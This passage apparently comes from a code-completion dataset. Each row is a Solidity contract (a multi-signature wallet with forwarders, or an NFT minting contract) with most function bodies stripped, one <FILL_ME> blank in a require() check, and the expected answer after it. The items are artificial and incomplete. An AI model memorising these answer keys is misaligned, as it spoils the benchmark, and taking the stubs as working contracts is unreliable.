* one from msg.sender and the other from ecrecover.
* nonce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in Wei to be sent
* @param data the data to send to the toAddress when invoking the transaction
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigEther(address payable toAddress, uint value, bytes memory data, uint expireTime, uint nounce, bytes memory signature) public payable onlySigner {
}
/**
* @dev generate the hash for transferMultiSigTokens.
* same parameter as transferMultiSigTokens.
* @return the hash generated by parameters
*/
function generateTokenHash( address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce) public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature token transfer from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nounce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in tokens to be sent
* @param tokenContractAddress the address of the erc20 token contract
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigTokens(address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce, bytes memory signature) public onlySigner {
bytes32 operationHash = keccak256(abi.encodePacked("ERC20", toAddress, value, tokenContractAddress, expireTime, nounce));
verifyMultiSig(toAddress, operationHash, signature, expireTime, nounce);
IERC223Token instance = IERC223Token(tokenContractAddress);
require(<FILL_ME>)
require(instance.transfer(toAddress, value));
emit TokensTransfer(tokenContractAddress, value);
}
/**
* @dev Gets signer's address using ecrecover
* @param operationHash see Data Formats
* @param signature see Data Formats
* @return address recovered from the signature
*/
function recoverAddressFromSignature(bytes32 operationHash, bytes memory signature) private pure returns (address) {
}
/**
* @dev Verify that the nonce has not been used before and inserts it. Throws if the nonce was not accepted.
* @param nounce to insert into array of stored ids
*/
function validateNonce(uint nounce) private onlySigner {
}
/**
* @dev Do common multisig verification for both eth sends and erc20token transfers
* @param toAddress the destination address to send an outgoing transaction
* @param operationHash see Data Formats
* @param signature see Data Formats
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @return address that has created the signature
*/
function verifyMultiSig(address toAddress, bytes32 operationHash, bytes memory signature, uint expireTime, uint nounce) private returns (address) {
}
}
| instance.balanceOf(address(this))>0 | 29,778 | instance.balanceOf(address(this))>0 |
null | pragma solidity 0.5.12;
/**
* @author TradeInvicta.
*/
/**
* @title IERC223Token
* @dev ERC223 Contract Interface
*/
contract IERC223Token {
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who)public view returns (uint);
}
/**
* @title ForwarderContract
* @dev Contract that will forward any incoming Ether & token to wallet
*/
contract ForwarderContract {
address payable public parentAddress;
event ForwarderDeposited(address from, uint value, bytes data);
event TokensFlushed(address forwarderAddress, uint value, address tokenContractAddress);
/**
* @dev Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
}
/**
* @dev Create the contract, and sets the destination address to that of the creator
*/
constructor() public{
}
/**
* @dev Default function; Gets called when Ether is deposited, and forwards it to the parent address.
* Credit eth to contract creator.
*/
function() external payable {
}
/**
* @dev Execute a token transfer of the full balance from the forwarder contract to the parent address
* @param _tokenContractAddress the address of the erc20 token contract
*/
function flushDeposit(address _tokenContractAddress) public onlyParent {
}
/**
* @dev Execute a specified token transfer from the forwarder contract to the parent address.
* @param _from the address of the erc20 token contract.
* @param _value the amount of token.
*/
function flushAmountToken(address _from, uint _value) external{
}
/**
* @dev It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the parent address.
*/
function flush() public {
}
}
/**
* @title DealsInvictaWallet
*/
contract DealsInvictaWallet {
address[] public signers;
bool public safeMode;
uint private forwarderCount;
uint private lastNounce;
event Deposited(address from, uint value, bytes data);
event SafeModeActivated(address msgSender);
event SafeModeInActivated(address msgSender);
event ForwarderCreated(address forwarderAddress);
event Transacted(address msgSender, address otherSigner, bytes32 operation, address toAddress, uint value, bytes data);
event TokensTransfer(address tokenContractAddress, uint value);
/**
* @dev Modifier that will execute internal code block only if the
* sender is an authorized signer on this wallet
*/
modifier onlySigner {
}
/**
* @dev Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.
* 2 signers will be required to send a transaction from this wallet.
* Note: The sender is NOT automatically added to the list of signers.
* Signers CANNOT be changed once they are set
* @param allowedSigners An array of signers on the wallet
*/
constructor(address[] memory allowedSigners) public {
}
/**
* @dev Gets called when a transaction is received without calling a method
*/
function() external payable {
}
/**
* @dev Determine if an address is a signer on this wallet
* @param signer address to check
* @return boolean indicating whether address is signer or not
*/
function validateSigner(address signer) public view returns (bool) {
}
/**
* @dev Irrevocably puts contract into safe mode. When in this mode,
* transactions may only be sent to signing addresses.
*/
function activateSafeMode() public onlySigner {
}
/**
* @dev Irrevocably puts out contract into safe mode.
*/
function deactivateSafeMode() public onlySigner {
}
/**
* @dev Generate a new contract (and also address) that forwards deposite to this contract
* returns address of newly created forwarder address
*/
function generateForwarder() public returns (address) {
}
/**
* @dev for return No of forwarder generated.
* @return total number of generated forwarder count.
*/
function totalForwarderCount() public view returns(uint){
}
/**
* @dev Execute a flushDeposit from one of the forwarder addresses.
* @param forwarderAddress the contract address of the forwarder address to flush the tokens from
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushForwarderDeposit(address payable forwarderAddress, address tokenContractAddress) public onlySigner {
}
/**
* @dev Gets the next available nounce for signing when using executeAndConfirm
* @return the nounce one higher than the highest currently stored
*/
function getNonce() public view returns (uint) {
}
/**
* @dev generate the hash for transferMultiSigEther
* same parameter as transferMultiSigEther
* @return the hash generated by parameters
*/
function generateEtherHash(address toAddress, uint value, bytes memory data, uint expireTime, uint nounce)public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature transaction from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nonce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in Wei to be sent
* @param data the data to send to the toAddress when invoking the transaction
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigEther(address payable toAddress, uint value, bytes memory data, uint expireTime, uint nounce, bytes memory signature) public payable onlySigner {
}
/**
* @dev generate the hash for transferMultiSigTokens.
* same parameter as transferMultiSigTokens.
* @return the hash generated by parameters
*/
function generateTokenHash( address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce) public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature token transfer from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nounce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in tokens to be sent
* @param tokenContractAddress the address of the erc20 token contract
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigTokens(address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce, bytes memory signature) public onlySigner {
bytes32 operationHash = keccak256(abi.encodePacked("ERC20", toAddress, value, tokenContractAddress, expireTime, nounce));
verifyMultiSig(toAddress, operationHash, signature, expireTime, nounce);
IERC223Token instance = IERC223Token(tokenContractAddress);
require(instance.balanceOf(address(this)) > 0);
require(<FILL_ME>)
emit TokensTransfer(tokenContractAddress, value);
}
/**
* @dev Gets signer's address using ecrecover
* @param operationHash see Data Formats
* @param signature see Data Formats
* @return address recovered from the signature
*/
function recoverAddressFromSignature(bytes32 operationHash, bytes memory signature) private pure returns (address) {
}
/**
* @dev Verify that the nonce has not been used before and inserts it. Throws if the nonce was not accepted.
* @param nounce to insert into array of stored ids
*/
function validateNonce(uint nounce) private onlySigner {
}
/**
* @dev Do common multisig verification for both eth sends and erc20token transfers
* @param toAddress the destination address to send an outgoing transaction
* @param operationHash see Data Formats
* @param signature see Data Formats
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @return address that has created the signature
*/
function verifyMultiSig(address toAddress, bytes32 operationHash, bytes memory signature, uint expireTime, uint nounce) private returns (address) {
}
}
| instance.transfer(toAddress,value) | 29,778 | instance.transfer(toAddress,value) |
null | pragma solidity 0.5.12;
/**
* @author TradeInvicta.
*/
/**
* @title IERC223Token
* @dev ERC223 Contract Interface
*/
contract IERC223Token {
function transfer(address _to, uint256 _value) public returns (bool);
function balanceOf(address who)public view returns (uint);
}
/**
* @title ForwarderContract
* @dev Contract that will forward any incoming Ether & token to wallet
*/
contract ForwarderContract {
address payable public parentAddress;
event ForwarderDeposited(address from, uint value, bytes data);
event TokensFlushed(address forwarderAddress, uint value, address tokenContractAddress);
/**
* @dev Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
}
/**
* @dev Create the contract, and sets the destination address to that of the creator
*/
constructor() public{
}
/**
* @dev Default function; Gets called when Ether is deposited, and forwards it to the parent address.
* Credit eth to contract creator.
*/
function() external payable {
}
/**
* @dev Execute a token transfer of the full balance from the forwarder contract to the parent address
* @param _tokenContractAddress the address of the erc20 token contract
*/
function flushDeposit(address _tokenContractAddress) public onlyParent {
}
/**
* @dev Execute a specified token transfer from the forwarder contract to the parent address.
* @param _from the address of the erc20 token contract.
* @param _value the amount of token.
*/
function flushAmountToken(address _from, uint _value) external{
}
/**
* @dev It is possible that funds were sent to this address before the contract was deployed.
* We can flush those funds to the parent address.
*/
function flush() public {
}
}
/**
* @title DealsInvictaWallet
*/
contract DealsInvictaWallet {
address[] public signers;
bool public safeMode;
uint private forwarderCount;
uint private lastNounce;
event Deposited(address from, uint value, bytes data);
event SafeModeActivated(address msgSender);
event SafeModeInActivated(address msgSender);
event ForwarderCreated(address forwarderAddress);
event Transacted(address msgSender, address otherSigner, bytes32 operation, address toAddress, uint value, bytes data);
event TokensTransfer(address tokenContractAddress, uint value);
/**
* @dev Modifier that will execute internal code block only if the
* sender is an authorized signer on this wallet
*/
modifier onlySigner {
}
/**
* @dev Set up a simple multi-sig wallet by specifying the signers allowed to be used on this wallet.
* 2 signers will be required to send a transaction from this wallet.
* Note: The sender is NOT automatically added to the list of signers.
* Signers CANNOT be changed once they are set
* @param allowedSigners An array of signers on the wallet
*/
constructor(address[] memory allowedSigners) public {
}
/**
* @dev Gets called when a transaction is received without calling a method
*/
function() external payable {
}
/**
* @dev Determine if an address is a signer on this wallet
* @param signer address to check
* @return boolean indicating whether address is signer or not
*/
function validateSigner(address signer) public view returns (bool) {
}
/**
* @dev Irrevocably puts contract into safe mode. When in this mode,
* transactions may only be sent to signing addresses.
*/
function activateSafeMode() public onlySigner {
}
/**
* @dev Irrevocably puts out contract into safe mode.
*/
function deactivateSafeMode() public onlySigner {
}
/**
* @dev Generate a new contract (and also address) that forwards deposite to this contract
* returns address of newly created forwarder address
*/
function generateForwarder() public returns (address) {
}
/**
* @dev for return No of forwarder generated.
* @return total number of generated forwarder count.
*/
function totalForwarderCount() public view returns(uint){
}
/**
* @dev Execute a flushDeposit from one of the forwarder addresses.
* @param forwarderAddress the contract address of the forwarder address to flush the tokens from
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushForwarderDeposit(address payable forwarderAddress, address tokenContractAddress) public onlySigner {
}
/**
* @dev Gets the next available nounce for signing when using executeAndConfirm
* @return the nounce one higher than the highest currently stored
*/
function getNonce() public view returns (uint) {
}
/**
* @dev generate the hash for transferMultiSigEther
* same parameter as transferMultiSigEther
* @return the hash generated by parameters
*/
function generateEtherHash(address toAddress, uint value, bytes memory data, uint expireTime, uint nounce)public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature transaction from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nonce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in Wei to be sent
* @param data the data to send to the toAddress when invoking the transaction
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigEther(address payable toAddress, uint value, bytes memory data, uint expireTime, uint nounce, bytes memory signature) public payable onlySigner {
}
/**
* @dev generate the hash for transferMultiSigTokens.
* same parameter as transferMultiSigTokens.
* @return the hash generated by parameters
*/
function generateTokenHash( address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce) public pure returns (bytes32){
}
/**
* @dev Execute a multi-signature token transfer from this wallet using 2 signers:
* one from msg.sender and the other from ecrecover.
* nounce are numbers starting from 1. They are used to prevent replay
* attacks and may not be repeated.
* @param toAddress the destination address to send an outgoing transaction
* @param value the amount in tokens to be sent
* @param tokenContractAddress the address of the erc20 token contract
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @param signature see Data Formats
*/
function transferMultiSigTokens(address toAddress, uint value, address tokenContractAddress, uint expireTime, uint nounce, bytes memory signature) public onlySigner {
}
/**
* @dev Gets signer's address using ecrecover
* @param operationHash see Data Formats
* @param signature see Data Formats
* @return address recovered from the signature
*/
function recoverAddressFromSignature(bytes32 operationHash, bytes memory signature) private pure returns (address) {
}
/**
* @dev Verify that the nonce has not been used before and inserts it. Throws if the nonce was not accepted.
* @param nounce to insert into array of stored ids
*/
function validateNonce(uint nounce) private onlySigner {
}
/**
* @dev Do common multisig verification for both eth sends and erc20token transfers
* @param toAddress the destination address to send an outgoing transaction
* @param operationHash see Data Formats
* @param signature see Data Formats
* @param expireTime the number of seconds since 1970 for which this transaction is valid
* @param nounce the unique nounce obtainable from getNonce
* @return address that has created the signature
*/
function verifyMultiSig(address toAddress, bytes32 operationHash, bytes memory signature, uint expireTime, uint nounce) private returns (address) {
address otherSigner = recoverAddressFromSignature(operationHash, signature);
if (safeMode && !validateSigner(toAddress)) {
revert("safemode error");
}
require(<FILL_ME>)
require(otherSigner != msg.sender);
validateNonce(nounce);
return otherSigner;
}
}
| validateSigner(otherSigner)&&expireTime>now | 29,778 | validateSigner(otherSigner)&&expireTime>now |
"Invalid Proof Supplied." | // SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
@@##%@@
@%&(((((@@#(((((&@
#@@@ @(#**@*@*@/#@
@@ /#/*@**@****(@&@@
@@ @. @(@**@/@*@/#@ &@
@ . @@. @@#(///(#@ @@
@@.... @@, @
@@..... @@@@ @
@...... @ @, @@
@... . . @@
@@..... &@
@@....... (@
@@....... @.
@@....... @
@@.... @.
@@... . @@
@@.... . @@
@....... @@
@......... @@
@@.......... @@
@@............. @@@@ @@
@................. (@@ @#
@@................. @@ @@
@@................... @, &@ @@
@*.....*@................@.. @@ @@
@........@..................@@ @ @.
@..........@.....................@@. @ /@
&@..........@@@@....................... @@@@ @, @
@@.........@@ @@...................... . @ %@ @
.@.........@. *@...................... .@ @@ @
@@........@ ,@@.....................@. @ @(
@@@@@@@@@ @@@@@@@@@@@ @% .@ @@ @@ @@@@@@@@@& @@@ @@@@@@@@@@ @@@@@@@@ #@@@@@@@
@. @ @% .@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@@@@@@@@ @ @@@@@@@@@@ @@ @@ @@ @@ @@ @@ .@@@ @@ @@ @@@@@@
@. @ @% .@ @@ @@ @@ @@@@@@@@@ @@ @@@ @@ @@ @@
@. @ @% .@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ %@
@@@@@@@@@@ @ @% .@ @@@@@@@@@ @@ @@@@@@@@@@@@@ @@ @@ @@ @@@@@# @@@@(
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
Web: ethlizards.io
Underground Lizard Lounge Discord: https://discord.com/invite/ethlizards
Developer: Sp1cySauce - Discord: SpicySauce#1615 - Twitter: @SaucyCrypto
Props: Chance - for Optimizations
*/
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721Enumerable.sol";
contract Lizards is ERC721Enumerable, Ownable {
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
string public foundersURI;
string public auctionURI;
address public proxyRegistryAddress;
address public bettyFromAccounting;
bytes32 public OGMerkleRoot;
bytes32 public whitelistMerkleRoot;
mapping(address => bool) public projectProxy;
mapping(address => uint256) public OGMinted;
mapping(address => uint256) public WLMinted;
uint256 public maxLizardSupply = 5051; //Actial Max Supply is 5050
uint256 public constant maxLizardPerMint = 11; //Actual Max Mint Amount is 10
uint256 public constant cost = 0.06 ether;
uint256 public constant auctionReservations = 5;
uint256 public constant teamReservations = 100;
uint256 public constant foundersReservations = 10;
bool public revealed = false;
bool public onlyOGMints = false;
bool public onlyWLMints = false;
bool public publicMint = false;
constructor(
string memory _BaseURI,
string memory _NotRevealedUri,
string memory _FoundersURI,
string memory _AuctionURI,
address _proxyRegistryAddress,
address _bettyFromAccounting
) ERC721("Ethlizards", "LIZARD") {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _foundersURI() internal view virtual returns (string memory) {
}
function _auctionURI() internal view virtual returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setFoundersURI(string memory _newFoundersURI) public onlyOwner {
}
function setAuctionURI(string memory _newAuctionURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setProxyRegistryAddress(address _proxyRegistryAddress)
external
onlyOwner
{
}
function flipProxyState(address proxyAddress) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot)
external
onlyOwner
{
}
function setOGMerkleRoot(bytes32 _OGMerkleRoot) external onlyOwner {
}
function setOnlyOGMints(bool _state) public onlyOwner {
}
function setOnlyWLMints(bool _state) public onlyOwner {
}
function setPublicSale(bool _state) public onlyOwner {
}
function reveal(bool _state) public onlyOwner {
}
function setMaxLizards(uint256 _maxLizardAmount) public onlyOwner {
}
function _OGVerify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function OGmint(
uint256 _mintAmount,
uint256 allowance,
bytes32[] calldata proof
) public payable {
bytes32 OGLeaf = keccak256(abi.encodePacked(msg.sender, allowance));
require(<FILL_ME>)
require(
OGMinted[msg.sender] + _mintAmount <= allowance,
"Exceeds OG mint allowance"
);
require(onlyOGMints, "OG minting must be active to mint");
OGMinted[msg.sender] += _mintAmount;
uint256 totalSupply = _owners.length;
for (uint256 i; i < _mintAmount; i++) {
_mint(_msgSender(), totalSupply + i);
}
}
function _WlVerify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function WLmint(
uint256 _mintAmount,
uint256 allowance,
bytes32[] calldata proof
) public payable {
}
function mint(uint256 _mintAmount) public payable {
}
function collectFoundersReserves() external onlyOwner {
}
function collectAuctionReserves() external onlyOwner {
}
function collectTeamReserves() external onlyOwner {
}
function withdraw() public {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function burn(uint256 tokenId) public {
}
function batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds
) public {
}
function batchSafeTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds,
bytes memory data_
) public {
}
function isOwnerOf(address account, uint256[] calldata _tokenIds)
external
view
returns (bool)
{
}
function isApprovedForAll(address _owner, address operator)
public
view
override
returns (bool)
{
}
function _mint(address to, uint256 tokenId) internal virtual override {
}
}
contract OwnableDelegateProxy {}
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| _OGVerify(OGLeaf,proof),"Invalid Proof Supplied." | 29,780 | _OGVerify(OGLeaf,proof) |
"Exceeds OG mint allowance" | // SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
@@##%@@
@%&(((((@@#(((((&@
#@@@ @(#**@*@*@/#@
@@ /#/*@**@****(@&@@
@@ @. @(@**@/@*@/#@ &@
@ . @@. @@#(///(#@ @@
@@.... @@, @
@@..... @@@@ @
@...... @ @, @@
@... . . @@
@@..... &@
@@....... (@
@@....... @.
@@....... @
@@.... @.
@@... . @@
@@.... . @@
@....... @@
@......... @@
@@.......... @@
@@............. @@@@ @@
@................. (@@ @#
@@................. @@ @@
@@................... @, &@ @@
@*.....*@................@.. @@ @@
@........@..................@@ @ @.
@..........@.....................@@. @ /@
&@..........@@@@....................... @@@@ @, @
@@.........@@ @@...................... . @ %@ @
.@.........@. *@...................... .@ @@ @
@@........@ ,@@.....................@. @ @(
@@@@@@@@@ @@@@@@@@@@@ @% .@ @@ @@ @@@@@@@@@& @@@ @@@@@@@@@@ @@@@@@@@ #@@@@@@@
@. @ @% .@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@@@@@@@@ @ @@@@@@@@@@ @@ @@ @@ @@ @@ @@ .@@@ @@ @@ @@@@@@
@. @ @% .@ @@ @@ @@ @@@@@@@@@ @@ @@@ @@ @@ @@
@. @ @% .@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ %@
@@@@@@@@@@ @ @% .@ @@@@@@@@@ @@ @@@@@@@@@@@@@ @@ @@ @@ @@@@@# @@@@(
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
Web: ethlizards.io
Underground Lizard Lounge Discord: https://discord.com/invite/ethlizards
Developer: Sp1cySauce - Discord: SpicySauce#1615 - Twitter: @SaucyCrypto
Props: Chance - for Optimizations
*/
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721Enumerable.sol";
contract Lizards is ERC721Enumerable, Ownable {
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
string public foundersURI;
string public auctionURI;
address public proxyRegistryAddress;
address public bettyFromAccounting;
bytes32 public OGMerkleRoot;
bytes32 public whitelistMerkleRoot;
mapping(address => bool) public projectProxy;
mapping(address => uint256) public OGMinted;
mapping(address => uint256) public WLMinted;
uint256 public maxLizardSupply = 5051; //Actial Max Supply is 5050
uint256 public constant maxLizardPerMint = 11; //Actual Max Mint Amount is 10
uint256 public constant cost = 0.06 ether;
uint256 public constant auctionReservations = 5;
uint256 public constant teamReservations = 100;
uint256 public constant foundersReservations = 10;
bool public revealed = false;
bool public onlyOGMints = false;
bool public onlyWLMints = false;
bool public publicMint = false;
constructor(
string memory _BaseURI,
string memory _NotRevealedUri,
string memory _FoundersURI,
string memory _AuctionURI,
address _proxyRegistryAddress,
address _bettyFromAccounting
) ERC721("Ethlizards", "LIZARD") {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _foundersURI() internal view virtual returns (string memory) {
}
function _auctionURI() internal view virtual returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setFoundersURI(string memory _newFoundersURI) public onlyOwner {
}
function setAuctionURI(string memory _newAuctionURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setProxyRegistryAddress(address _proxyRegistryAddress)
external
onlyOwner
{
}
function flipProxyState(address proxyAddress) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot)
external
onlyOwner
{
}
function setOGMerkleRoot(bytes32 _OGMerkleRoot) external onlyOwner {
}
function setOnlyOGMints(bool _state) public onlyOwner {
}
function setOnlyWLMints(bool _state) public onlyOwner {
}
function setPublicSale(bool _state) public onlyOwner {
}
function reveal(bool _state) public onlyOwner {
}
function setMaxLizards(uint256 _maxLizardAmount) public onlyOwner {
}
function _OGVerify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function OGmint(
uint256 _mintAmount,
uint256 allowance,
bytes32[] calldata proof
) public payable {
bytes32 OGLeaf = keccak256(abi.encodePacked(msg.sender, allowance));
require(_OGVerify(OGLeaf, proof), "Invalid Proof Supplied.");
require(<FILL_ME>)
require(onlyOGMints, "OG minting must be active to mint");
OGMinted[msg.sender] += _mintAmount;
uint256 totalSupply = _owners.length;
for (uint256 i; i < _mintAmount; i++) {
_mint(_msgSender(), totalSupply + i);
}
}
function _WlVerify(bytes32 leaf, bytes32[] memory proof)
internal
view
returns (bool)
{
}
function WLmint(
uint256 _mintAmount,
uint256 allowance,
bytes32[] calldata proof
) public payable {
}
function mint(uint256 _mintAmount) public payable {
}
function collectFoundersReserves() external onlyOwner {
}
function collectAuctionReserves() external onlyOwner {
}
function collectTeamReserves() external onlyOwner {
}
function withdraw() public {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function burn(uint256 tokenId) public {
}
function batchTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds
) public {
}
function batchSafeTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds,
bytes memory data_
) public {
}
function isOwnerOf(address account, uint256[] calldata _tokenIds)
external
view
returns (bool)
{
}
function isApprovedForAll(address _owner, address operator)
public
view
override
returns (bool)
{
}
function _mint(address to, uint256 tokenId) internal virtual override {
}
}
contract OwnableDelegateProxy {}
contract OpenSeaProxyRegistry {
mapping(address => OwnableDelegateProxy) public proxies;
}
| OGMinted[msg.sender]+_mintAmount<=allowance,"Exceeds OG mint allowance" | 29,780 | OGMinted[msg.sender]+_mintAmount<=allowance |
"Invalid Proof Supplied." | // SPDX-License-Identifier: MIT
/*
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
@@##%@@
@%&(((((@@#(((((&@
#@@@ @(#**@*@*@/#@
@@ /#/*@**@****(@&@@
@@ @. @(@**@/@*@/#@ &@
@ . @@. @@#(///(#@ @@
@@.... @@, @
@@..... @@@@ @
@...... @ @, @@
@... . . @@
@@..... &@
@@....... (@
@@....... @.
@@....... @
@@.... @.
@@... . @@
@@.... . @@
@....... @@
@......... @@
@@.......... @@
@@............. @@@@ @@
@................. (@@ @#
@@................. @@ @@
@@................... @, &@ @@
@*.....*@................@.. @@ @@
@........@..................@@ @ @.
@..........@.....................@@. @ /@
&@..........@@@@....................... @@@@ @, @
@@.........@@ @@...................... . @ %@ @
.@.........@. *@...................... .@ @@ @
@@........@ ,@@.....................@. @ @(
@@@@@@@@@ @@@@@@@@@@@ @% .@ @@ @@ @@@@@@@@@& @@@ @@@@@@@@@@ @@@@@@@@ #@@@@@@@
@. @ @% .@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@
@@@@@@@@@ @ @@@@@@@@@@ @@ @@ @@ @@ @@ @@ .@@@ @@ @@ @@@@@@
@. @ @% .@ @@ @@ @@ @@@@@@@@@ @@ @@@ @@ @@ @@
@. @ @% .@ @@ @@ @@ @@ @@ @@ @@ @@ @@ @@ %@
@@@@@@@@@@ @ @% .@ @@@@@@@@@ @@ @@@@@@@@@@@@@ @@ @@ @@ @@@@@# @@@@(
+ + + - - - - - - - - - - - - - - - - - - - - - - - - - - - ++ - - - - - - - - - - - - - - - - - - - - - - - - - - + + +
Web: ethlizards.io
Underground Lizard Lounge Discord: https://discord.com/invite/ethlizards
Developer: Sp1cySauce - Discord: SpicySauce#1615 - Twitter: @SaucyCrypto
Props: Chance - for Optimizations
*/
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "./ERC721Enumerable.sol";
contract Lizards is ERC721Enumerable, Ownable {
string public baseURI;
string public baseExtension = ".json";
string public notRevealedUri;
string public foundersURI;
string public auctionURI;
address public proxyRegistryAddress;
address public bettyFromAccounting;
bytes32 public OGMerkleRoot;
bytes32 public whitelistMerkleRoot;
mapping(address => bool) public projectProxy;
mapping(address => uint256) public OGMinted;
mapping(address => uint256) public WLMinted;
uint256 public maxLizardSupply = 5051; //Actial Max Supply is 5050
uint256 public constant maxLizardPerMint = 11; //Actual Max Mint Amount is 10
uint256 public constant cost = 0.06 ether;
uint256 public constant auctionReservations = 5;
uint256 public constant teamReservations = 100;
uint256 public constant foundersReservations = 10;
bool public revealed = false;
bool public onlyOGMints = false;
bool public onlyWLMints = false;
bool public publicMint = false;
constructor(
string memory _BaseURI,
string memory _NotRevealedUri,
string memory _FoundersURI,
string memory _AuctionURI,
address _proxyRegistryAddress,
address _bettyFromAccounting
) ERC721("Ethlizards", "LIZARD") {
}
function _baseURI() internal view virtual returns (string memory) {
}
function _foundersURI() internal view virtual returns (string memory) {
}
function _auctionURI() internal view virtual returns (string memory) {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setFoundersURI(string memory _newFoundersURI) public onlyOwner {
}
function setAuctionURI(string memory _newAuctionURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setProxyRegistryAddress(address _proxyRegistryAddress)
external
onlyOwner
{
}
function flipProxyState(address proxyAddress) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot)
external
onlyOwner
{
}
function setOGMerkleRoot(bytes32 _OGMerkleRoot) external onlyOwner {
}
